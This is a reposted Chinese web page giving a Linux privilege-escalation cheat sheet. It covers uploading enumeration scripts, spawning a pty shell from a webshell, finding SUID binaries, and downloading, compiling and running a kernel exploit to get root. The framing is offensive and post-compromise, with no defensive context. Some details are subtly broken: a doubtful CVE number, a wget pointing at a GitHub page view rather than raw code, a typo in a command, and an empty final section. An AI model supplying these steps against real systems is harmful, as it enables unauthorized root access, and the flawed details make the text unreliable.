栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 系统运维 > 运维 > Linux

Linux提权

Linux 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

Linux提权

一、Linux信息收集:

  1. LinEnum脚本
  2. 地址:https://github.com/rebootuser/LinEnum
  3. 介绍:
  4. 用法:
    上传到 /tmp目录下,然后运行即可

二、Linux漏洞探测:
5. Linux-exploit-suggester脚本
6. 地址:https://github.com/mzet-/linux-exploit-suggester
7. 介绍:
8. 用法:
上传到 /tmp目录下,然后运行即可

三、Linux漏洞探测:
9. Linux-exploit-suggester-2.pl脚本
10. 地址:https://github.com/jondonas/linux-exploit-suggester-2
11. 介绍:
12. 用法:
上传到 /tmp目录下,然后使用perl运行即可(需要安装perl命令)

prel  Linux-exploit-suggester-2.pl
四、Linux提权方式:

**注意1:**凡是需要编译的,均无法在webshell内执行,如gcc、make等

注意2:
python调用本地shell实现交互式命令行

python -c 'import pty;pty.spawn('/bin/bash')'

SUID提权:

  1. 参考:https://pentestlab.blog/2017/09/25/suid-executables/
  2. 关键:查找SUID中是否含有以下支持命令:
 Nmap、Vim、find、Bash、More、Less、Nano、cp
  1. 手工判断:
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;


内核漏洞提权

  1. CVE-2017-16695
  2. 下载C代码:
wget https://github.com/Jewel591/Privilege-Escalation/blob/master/45010.c
  1. 使用步骤:

#下面进行编译
gcc 45010.c -o 45010
#添加执行权限
chmod +x 45010
./45010
#成功提权到 root。
whoami
root

脏牛漏洞提权

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/694212.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号